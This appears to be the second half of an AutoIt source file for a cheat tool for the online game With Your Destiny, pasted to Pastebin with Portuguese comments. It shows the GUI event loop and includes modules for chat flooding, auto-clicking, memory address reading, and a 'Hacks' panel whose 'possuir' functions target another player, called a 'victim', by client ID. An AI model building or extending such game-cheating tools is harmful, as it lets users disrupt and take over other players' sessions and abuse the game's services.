  477.         $Malech_Sv4 = StringMid($Status_Malech, 16, 5)
  478.         $Malech_Sv5 = StringMid($Status_Malech, 21, 5)
  479.         $Malech_Sv6 = StringMid($Status_Malech, 26, 5)
  480.         $Status_Final_Malech = $Malech_Sv1 + $Malech_Sv2 + $Malech_Sv3 + $Malech_Sv4 + $Malech_Sv5 + $Malech_Sv6
  481.         _GUICtrlStatusBar_SetText($StatusBar1, $Status_Final_Malech & " / 4400", 6)
  482.         ;     FIM (MALECH)
  483.         ;========================================================
  484.         ;     TOTAL:
  485.         $Status_Final_Total = $Status_Final_Alastar + $Status_Final_Sephira + $Status_Final_Malech
  486.         _GUICtrlStatusBar_SetText($StatusBar1, $Status_Final_Total, 8)
  487.         ;     FIM (TOTAL)
  488.         If $Status_Final_Malech And $Status_Final_Sephira And $Status_Final_Alastar < 0 Then ; Se o servidor estiver Off (O Numero de players fica Negativo)
  489.             _GUICtrlStatusBar_SetText($StatusBar1, "0 / 4400", 6) ; Escreve 0 para não ficar com numero Negativo
  490.             _GUICtrlStatusBar_SetText($StatusBar1, "0 / 4400", 4) ; Escreve 0 para não ficar com numero Negativo
  491.             _GUICtrlStatusBar_SetText($StatusBar1, "0 / 3000", 2) ; Escreve 0 para não ficar com numero Negativo
  492.             _GUICtrlStatusBar_SetText($StatusBar1, "0", 8) ; Escreve 0 para não ficar com numero Negativo
  493.         EndIf
  494.     EndIf ; Termina o Sleep
  495.  
  496. EndFunc   ;==>Refresh
  497.  
  498. ;========================================================
  499. ;     ----- GUI/FUNC DAS FORMS SECUNDARIAS
  500. ;========================================================
  501. ;     RENOMEAR
  502. #include "Secundarias/Renomear.au3"     ; Gui Renomear
  503. #include "Secundarias/Func/Renomear/Renomear.au3"     ; Chama a função do Renomear
  504.  
  505. ;========================================================
  506. ;     OCULTAR
  507. #include "Secundarias/Ocultar.au3"     ; Gui Ocultar
  508. #include "Secundarias/Func/Ocultar/Ocultar.au3"     ; Chama a função do Ocultar
  509.  
  510. ;========================================================
  511. ;     DESLIGAR PC
  512. #include "Secundarias/DesligarPC.au3"     ; Gui DesligarPC
  513. #include "Secundarias/Func/DesligarPC/DesligarPC.au3"     ; Chama a função do DesligarPC
  514.  
  515. ;========================================================
  516. ;     AUTO FLOOD
  517. #include "Secundarias/AutoFlood.au3"     ; Gui AutoFlood
  518. #include "Secundarias/Func/AutoFlood/AutoFlood.au3"     ; Chama a função do AutoFlood
  519.  
  520. ;========================================================
  521. ;     AVISAR-ME
  522. #include "Secundarias/Avisar-me.au3"     ; Gui Avisar-me
  523. #include "Secundarias/Func/Avisar-me/Avisar-me.au3"     ; Chama a função do Avisar-me
  524.  
  525. ;========================================================
  526. ;     HACKS
  527. #include "Secundarias/Hacks.au3"     ; Gui Hacks
  528. #include "Secundarias/Func/Hacks/Mensagens.au3"     ; Include onde contem as globais das Mensagens
  529. #include "Secundarias/Func/Hacks/Escrever.au3"     ; Carrega a função de chamar os Comandos
  530. #include "Secundarias/Func/Hacks/Hacks.au3"     ; Chama a função do Hacks
  531.  
  532. ;========================================================
  533. ;    SIMULATE CLICK
  534. #include "Secundarias/SimulateClick.au3"     ; Gui SimulateClick
  535. #include "Secundarias/Func/SimulateClick/SimulateClick.au3"     ; Chama a função do SimulateClick
  536.  
  537. ;========================================================
  538. ;     AUTO DROP - 80%
  539. #include "Secundarias/AutoDrop.au3"     ; Gui Auto Drop
  540. #include "Secundarias/Func/AutoDrop/AutoDrop.au3"     ; Chama a função do Auto Drop
  541. #include "Secundarias/Func/AutoDrop/ItenID.au3"     ; Carrega a lista do nome e id dos Itens
  542.  
  543. ;========================================================
  544. ;     REFINAR NYERDS
  545. #include "Secundarias/RefinarNyerds.au3"     ; Gui Refinar Nyerds
  546. #include "Secundarias/Func/RefinarNyerds/RefinarNyerds.au3"     ; Chama a função do Refinar Nyerds
  547.  
  548. ;========================================================
  549. ;     TIRAR PET
  550. #include "Secundarias/TirarPet.au3"     ; Gui Tirar Pet
  551. ;~ #include "Secundarias/Func/TirarPet/TirarPet.au3"     ; Chama a função do Tirar Pet
  552.  
  553. ;========================================================
  554. ;     ITEN FINDER
  555. #include "Secundarias/ItenFinder.au3"     ; Gui Iten Finder
  556. #include "Secundarias/Func/ItenFinder/ItenFinder.au3"     ; Chama a função do Iten Finder
  557.  
  558. ;========================================================
  559.  
  560.  
  561.  
  562. ;========================================================
  563. ;     ----- ATUALIZADOR
  564. ;========================================================
  565. #include "Atualizar.au3"     ; Chama a include onde esta a função do Atualizador
  566.  
  567. ;========================================================
  568. While 1
  569.     $nMsg = GUIGetMsg()
  570.     Switch $nMsg
  571.         Case $GUI_EVENT_CLOSE ; Chama o botão "x" (Fechar)
  572.             Exit ; Executa o comando exit (Sair)
  573.             ;========================================================
  574.             ;     ----- BOTÕES E MENUS
  575.             ;========================================================
  576.             ;     ABRIR WYD
  577.         Case $Button13 ; Botão Abrir WYD
  578.             If Not IsDeclared("iMsgBoxAnswer") Then Local $iMsgBoxAnswer
  579.             $iMsgBoxAnswer = MsgBox(4, $Janela, "Você deseja abrir um WYD?")
  580.             Select
  581.                 Case $iMsgBoxAnswer = 6 ; Sim     ; Se apertar Sim
  582.                     $Dir = FileOpenDialog("Escolha o WYD.exe", "WYD.exe", "Escolha o arquivo para iniciar(*.exe)", 1, "") ; Abre o OpenDialog
  583.                     If Not FileExists($Dir) Then ; Se não tiver Diretório
  584.                         MsgBox(16, $Janela, "Diretorio do Executavel nao foi encontrado!")
  585.                     Else
  586.                         GUICtrlSetData($Input3, $Dir)
  587.                         Run($Dir)
  588.                         Sleep(500)
  589.                         GUICtrlSetData($Input2, _NowTime() & "  -  WYD Aberto!")
  590.                     EndIf
  591.             EndSelect
  592.         Case $Button14 ; Botão Fechar WYD
  593.             $Kill = WinKill(GUICtrlRead($ExecW)) ; Fecha a janela que ta no "$ExecW" (With Your Destiny"
  594.             If $Kill = 0 Then
  595.                 MsgBox(16, $Janela, "Janela não Encontrada!" & @CR & "Tentou fechar a Janela: " & GUICtrlRead($ExecW))
  596.             EndIf
  597.             ;========================================================
  598.             ;     MENU ITEM CREDITOS
  599.         Case $MenuItem1 ; Chama o MenuItem Creditos
  600.             MsgBox(0, $Janela, "Créditos:" & @CR & " - XBenny" & @CR & "Agradecimentos:" & @CR & " - Necros" & @CR & " - SkinF4xi") ; Função ao clicar Nele (Mensagem)
  601.             ;========================================================
  602.             ;     MENU ITEM SAIR
  603.         Case $MenuItem4 ; Chama o MenuItem Sair
  604.             Exit ; Função ao clicar Nele (Sair)
  605.             ;========================================================
  606.             ;     MENU ITEM ATUALIZAR
  607.         Case $MenuItem3 ; Chama o MenuItem Atualizar
  608.             Atualizacao() ; Chama a função do Atualizador
  609.  
  610.             ;========================================================
  611.             ;     ----- FORMS SECUNDARIAS
  612.             ;========================================================
  613.             ;     FORM RENOMEAR
  614.         Case $Button8 ; Botão do Renomear FORM PRINCIPAL
  615.             GUISetState(@SW_SHOW, $Renomear) ; Se clicar no botão da form principal mostra a form do Renomear
  616.             ;---
  617.         Case $renomear_Button1 ; Botão Renomear
  618.             $N_Antigo = GUICtrlRead($renomear_Input1) ; Atualiza os dados do input para sempre pegar o novo Nome
  619.             $N_Nome = GUICtrlRead($renomear_Input2) ; Atualiza os dados do input para sempre pegar o novo Nome
  620.             Sleep(50)
  621.             Renomear() ; Chama a Função
  622.             ;---
  623.         Case $renomear_Sair ; Botão Sair
  624.             GUISetState(@SW_HIDE, $Renomear) ; Se clicar no botão sair, fecha a form do Renomear
  625.             ;========================================================
  626.             ;     FORM OCULTAR
  627.         Case $Button10 ; Botão do Ocultar FORM PRINCIPAL
  628.             GUISetState(@SW_SHOW, $Ocultar) ; Se clicar no botão da form principal mostra a form do Ocultar
  629.             ;---
  630.         Case $ocultar_Button1 ; Botão Ocultar
  631.             Ocultar() ; Chama a Função
  632.             ;---
  633.         Case $ocultar_Button2 ; Botão Mostrar
  634.             Mostrar() ; Chama a Função
  635.             ;---
  636.         Case $ocultar_Sair ; Botão Sair
  637.             GUISetState(@SW_HIDE, $Ocultar) ; Se clicar no botão sair, fecha a form do Ocultar
  638.             ;========================================================
  639.             ;     FORM AUTODROP
  640.         Case $Button4 ; Botão do AutoDrop FORM PRINCIPAL
  641.             GUISetState(@SW_SHOW, $AutoDrop) ; Se clicar no botão da form principal mostra a form do Ocultar
  642.             ;---
  643.         Case $autodrop_Button3 ; Botão Ativar
  644.             $Remover = True ; Declara a variavel como true, começa a verificar os itens para Deletar
  645.             ;---
  646.         Case $autodrop_Button4 ; Botão Desativar
  647.             $Remover = False ; Declara a variavel como false, não verifica os itens para Deletar
  648.             ;---
  649.         Case $autodrop_Sair ; Botão Sair
  650.             GUISetState(@SW_HIDE, $AutoDrop) ; Se clicar no botão sair, fecha a form do Ocultar
  651.             ;========================================================
  652.             ;     FORM AUTO FLOOD
  653.         Case $Button2 ; Botão do Ocultar FORM PRINCIPAL
  654.             GUISetState(@SW_SHOW, $AutoFlood) ; Se clicar no botão da form principal mostra a form do Auto Flood
  655.             ;---
  656.         Case $autoflood_Button1 ; Botão do Auto Flood Simples
  657.             $Auto_Flood_Plus = False
  658.             $Min = @MIN
  659.             $Sec = @SEC
  660.             $T_F_S = $T_F_S + 1
  661.             If $T_F_S / 2 = 1 Then
  662.                 GUICtrlSetData($autoflood_Button1, "Desativar Flood Simples")
  663.                 $T_F_S = 0
  664.                 $Auto_Flood_Simples = True
  665.                 GUICtrlSetData($Input2, _NowTime() & "  -  Auto Flood Simples Ativado!")
  666.                 GUICtrlSetState($autoflood_Button2, $GUI_DISABLE)
  667.                 Flood_Simples()
  668.             Else
  669.                 GUICtrlSetData($autoflood_Button1, "Ativar Flood Simples")
  670.                 $Auto_Flood_Simples = False
  671.                 GUICtrlSetData($Input2, _NowTime() & "  -  Auto Flood Simples Desativado!")
  672.                 GUICtrlSetState($autoflood_Button2, $GUI_ENABLE)
  673.                 Flood_Simples()
  674.             EndIf
  675.             ;---
  676.         Case $autoflood_Button2 ; Botão do Auto Flood Personalizado
  677.             $Auto_Flood_Simples = False
  678.             $Min = @MIN
  679.             $Sec = @SEC
  680.             $T_F_P = $T_F_P + 1
  681.             If $T_F_P / 2 = 1 Then
  682.                 GUICtrlSetData($autoflood_Button2, "Desativar Flood Plus") ; Muda o nome do Botão
  683.                 $T_F_P = 0
  684.                 $Auto_Flood_Plus = True
  685.                 GUICtrlSetData($Input2, _NowTime() & "  -  Auto Flood Plus Ativado!")
  686.                 GUICtrlSetState($autoflood_Button1, $GUI_DISABLE) ; Desabilita o botão do Flood Normal
  687.                 Flood_Plus() ; Chama a Função
  688.             Else
  689.                 GUICtrlSetData($autoflood_Button2, "Ativar Flood Plus") ; Muda o nome do Botão
  690.                 $Auto_Flood_Plus = False
  691.                 GUICtrlSetData($Input2, _NowTime() & "  -  Auto Flood Plus Desativado!")
  692.                 GUICtrlSetState($autoflood_Button1, $GUI_ENABLE) ; Habilita o botão do Flood Normal
  693.                 Flood_Plus() ; Chama a Função
  694.             EndIf
  695.             ;---
  696.         Case $autoflood_Sair ; Botão Sair
  697.             GUISetState(@SW_HIDE, $AutoFlood) ; Se clicar no botão sair, fecha a form do AutoFlood
  698.             ;========================================================
  699.             ;     FORM AVISAR-ME
  700.         Case $Button6 ; Botão do Avisar-me FORM PRINCIPAL
  701.             GUISetState(@SW_SHOW, $Avisar) ; Se clicar no botão da form principal mostra a form do Avisar-me
  702.             ;---
  703.             GUICtrlSetState($avisar_Checkbox3, $GUI_CHECKED) ; Bota o Checkbox3 como Marcado, se tirar vai ficar clicando e apertando enter sem Parar
  704.             ; Não Chama função pois a função esta no WEnd, para chamar toda Hora.
  705.             ;---
  706.         Case $avisar_Sair ; Botão Sair
  707.             GUISetState(@SW_HIDE, $Avisar) ; Se clicar no botão sair, fecha a form do Avisar
  708.             ;========================================================
  709.             ;     FORM ITEN FINDER
  710.         Case $Button12 ; Botão do Iten Finder FORM PRINCIPAL
  711.             GUISetState(@SW_SHOW, $ItenFinder) ; Se clicar no botão da form principal mostra a form do Iten Finder
  712.             ;---
  713.         Case $itenfinder_Button1 ; Botão do Procurar
  714.             ItenFinder() ; Chama a função de procurar Itens
  715.             ;---
  716.         Case $itenfinder_Sair ; Botão Sair
  717.             GUISetState(@SW_HIDE, $ItenFinder) ; Se clicar no botão sair, fecha a form do Iten Finder
  718.             ;========================================================
  719.             ;     FORM HACKS
  720.         Case $Button7 ; Botão do Hack FORM PRINCIPAL
  721.             GUISetState(@SW_SHOW, $Hacks) ; Se clicar no botão da form principal mostra a form dos Hacks
  722.             ;---
  723.         Case $hacks_Button1 ; Botão "Como usar o possuir Char?"
  724.             MsgBox(0, $Janela, "1ª - Pegue o ClientID da Vitíma:" & @CR & "CTRL + Botão direito em cima Dela" & @CR & "2ª - Digite o comando para ativar o Hack") ; Mostra a Mensagem
  725.             ;---
  726.         Case $hacks_Button5 ; Botão "Como usar o possuir Grupo?"
  727.             MsgBox(0, $Janela, "1ª - Pegue o ClientID da Vitíma:" & @CR & "CTRL + Botão direito em cima Dela" & @CR & "2ª - Pegue o nome da Vitíma:" & @CR & "SHIFT + Botão direito em cima de Dela" & @CR & "3ª - Clique no botão para ativar o Hack") ; Mostra a Mensagem
  728.             ;---
  729.         Case $hacks_Button6 ; Botão "Possuir"
  730.             If GUICtrlRead($hacks_Label14) = 0 Or GUICtrlRead($hacks_Label16) = 0 Then ; Se acontecer algum dos Casos
  731.                 MsgBox(0, $Janela, "Faça todos os processos corretamente para Funcionar!") ; Manda a Mensagem
  732.             Else ; Senão
  733.                 Ativar_Possuir_Grupo() ; Chama a Função
  734.             EndIf
  735.             ;---
  736.         Case $hacks_Button2 ; Botão "Retirar Paisagem"
  737.             Desativar_Paisagem()
  738.             ;---
  739.         Case $hacks_Button3 ; Botão "Mostrar Paisagem"
  740.             Ativar_Paisagem()
  741.             ;---
  742.         Case $hacks_Sair ; Botão Sair
  743.             GUISetState(@SW_HIDE, $Hacks) ; Se clicar no botão sair, fecha a form dos Hacks
  744.             ;========================================================
  745.             ;     FORM REFINAR NYERDS
  746.         Case $Button16 ; Botão do Refinar Nyerds FORM PRINCIPAL
  747.             GUISetState(@SW_SHOW, $RefinarNyerds) ; Se clicar no botão da form principal mostra a form do Refinar Nyerds
  748.             ;---
  749.         Case $refinarnyerds_Button1 ; Botão "Ativar"
  750.             If GUICtrlRead($refinarnyerds_Radio1) = 1 Then ; Se o radio button1 estiver Marcado
  751.                 If GUICtrlRead($refinarnyerds_Label8) = 0 Then ; Se o slot1 estiver vazio (slota da PO)
  752.                     MsgBox(0, $Janela, "Não possuiu Poeira de Oriharucon no Slot1.") ; Manda a Mensagem
  753.                 Else
  754.                     $Refinar = True ; Define a variavel como True (Ativado)
  755.                 EndIf
  756.             EndIf
  757.             If GUICtrlRead($refinarnyerds_Radio2) = 1 Then ; Se o radio button2 estiver Marcado
  758.                 If GUICtrlRead($refinarnyerds_Label9) = 0 Then ; Se o slot2 estiver vazio (slota da PL)
  759.                     MsgBox(0, $Janela, "Não possuiu Poeira de Lactolerium no Slot2.") ; Manda a Mensagem
  760.                 Else
  761.                     $Refinar = True ; Define a variavel como True (Ativado)
  762.                 EndIf
  763.             EndIf
  764.             ;---
  765.         Case $refinarnyerds_Button2 ; Botão "Desativar"
  766.             $Refinar = False ; Define a variavel como False (Desativado)
  767.             ;---
  768.         Case $refinarnyerds_Sair ; Botão Sair
  769.             GUISetState(@SW_HIDE, $RefinarNyerds) ; Se clicar no botão sair, fecha a form do Refinar Nyerds
  770.             ;========================================================
  771.             ;     FORM DESLIGAR PC
  772.         Case $Button9 ; Botão do DesligarPC
  773.             GUISetState(@SW_SHOW, $DesligarPC) ; Se clicar no botão da form principal mostra a form dos Hacks
  774.             ;---
  775.  
  776.             ;---
  777.         Case $desligarpc_Sair ; Botão Sair
  778.             GUISetState(@SW_HIDE, $DesligarPC) ; Se clicar no botão sair, fecha a form dos Hacks
  779.             ;========================================================
  780.             ;     FORM TIRAR PET
  781.         Case $Button11 ; Botão do TirarPet
  782.             GUISetState(@SW_SHOW, $TirarPet) ; Se clicar no botão da form principal mostra a form do Tirar Pet
  783.             ;---
  784.  
  785.             ;---
  786.         Case $tirarpet_Sair ; Botão Sair
  787.             GUISetState(@SW_HIDE, $TirarPet) ; Se clicar no botão sair, fecha a form do Tirar Pet
  788.             ;========================================================
  789.             ;     FORM SIMULATE CLICK
  790.         Case $Button3 ; Botão do SimulateClick FORM PRINCIPAL
  791.             GUISetState(@SW_SHOW, $SimulateClick) ; Se clicar no botão da form principal mostra a form do AutoAS
  792.             ;---
  793.         Case $simulateclick_Button1 ; Se clicar no botão Ativar
  794.             Ligar_Simulate() ; Chama a função para Ligar
  795.         Case $simulateclick_Button2 ; Se clicar no botão Desativar
  796.             Desligar_Simulate() ; Chama a função para Desligar
  797.         Case $simulateclick_Button3
  798.             Coordenada() ; Chama a função da Coordenada
  799.             ;---
  800.         Case $simulateclick_Sair ; Botão Sair
  801.             GUISetState(@SW_HIDE, $SimulateClick) ; Se clicar no botão sair, fecha a form do SimulateClick
  802.             ;========================================================
  803.     EndSwitch
  804.     ;========================================================
  805.     ;     CHAMAR FUNÇÕES A CADA 1 SEGUNDO
  806.     Sleep(10)
  807.     If _Timer_Diff($Sleep) > $Tempo_Sleep Then ; Sleep sem parar o Programa
  808.         $Tempo_Sleep = $Tempo_Sleep + 1000.00000000000
  809.         ;---
  810.         Refresh() ; Chama a função do Refresh nas funções do label Principal
  811.         ReadAddress() ; Chama a função pra poder atualizar os address toda Hora
  812.         Process() ; Chama a função de pegar o processo, para atualizar a janela do programa toda Hora
  813.         Avisar_me() ; Chama a Função a cada 1 segundo sem pausar o Programa
  814.         Flood_Simples() ; Chama a função do Flood, para ele funcionar e ficar repetindo a Mensagem
  815.         Flood_Plus() ; Chama a função do Flood, para ele funcionar e ficar repetindo a Mensagem
  816.         Simulate_Click() ; Chama a funçã do SimulateClick, para clicar + de uma vez. Não clicar uma vez Só
  817.         Escrever() ; Escreve o valor do address do say em um Label
  818.         Chamar_Comando() ; Chama os Comandos
  819.         Client_ID() ; Escreve o ID do Char
  820.         Desligar_PC() ; Chama a função do DesligarPC, para contar o tempo e editar o label Corretamente
  821.         Refinar_Nyerds() ; Chama a função de refinar a Nyerds toda Hora
  822.         Dados() ; Chama a função de pegar os dados toda Hora
  823.         AutoDrop() ; Chama a função da bag para atualizar as sends e os address dos Baus
  824.         ;========================================================
  825.         ;     FUNÇÃO DOS SONS
  826.         If GUICtrlRead($Sounds) = 1 Then ; Verifica se o Checkbox está Marcado
  827.             If ProcessExists($Processo) Then ; Verifica se o processo do wyd esta Aberto
  828.                 Tocar($Theme, 0) ; Toca a Música
  829.             EndIf
  830.             IniWrite("Data/XB.xb", "Configurações", "Sons", "True") ; Se Estiver
  831.             IniWrite("Data/XB.xb", "Configurações", "Status", "1") ; Se Estiver
  832.         Else ; Senão estive Checked
  833.             IniWrite("Data/XB.xb", "Configurações", "Sons", "False") ; Se não Estiver
  834.             IniWrite("Data/XB.xb", "Configurações", "Status", "0") ; Se não Estiver
  835.             Nao_Tocar($Theme) ; Pausa o Som "Theme"
  836.         EndIf
  837.         ;========================================================
  838.         ;     DELETAR FORM E MOSTRA FORM PRINCIPAL
  839. ;~ If Not ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Para começar abra o "&$Processo)     ; Se o processo do wyd não estiver aberto ela manda a Mensagem
  840. ;~ If $Read_Tela_Servidor = 1 And ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Agora selecione o Servidor!")     ; Se o address estiver como 1 ele escreve a mensagem no Label
  841. ;~ If $Read_Tela_Login = 1 And ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Agora logue sua Conta!")     ; Se aparecer a janela de digitar a senha ele manda a Mensagem
  842. ;~ If $Read_Tela_Numerica = 1 And ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Digite sua senha Numérica!")     ; Se aparecer a janela de digitar a senha numérica ele manda a Mensagem
  843. ;~ If $Read_Tela_Login = 0 And $Read_Tela_Numerica = 0 And $Read_Tela_Servidor = 0 And ProcessExists($Processo) Then GUICtrlSetData($carregando_Label1, "Agora logue seu Char!")     ; Se o login estiver como 0 e a tela de senha numerica/tela de servidor tambem ele manda a Mensagem
  844. ;~ If ProcessExists($Processo) And $Read_Tela_Servidor = 0 And $Read_Tela_Login = 0 And $Read_Tela_Numerica = 0 And $Read_HP > 0 And $Read_MP > 0 Then     ; Se ja tiver passado por todas etapas, e o hp/mp estiver maior doque 0
  845.         GUISetState(@SW_SHOW, $Principal)
  846. ;~ Sleep(50)
  847.         GUIDelete($Carregando)
  848. ;~ EndIf
  849.         ;---
  850.     EndIf ; Termina função do Sleep
  851.     ;========================================================
  852. WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!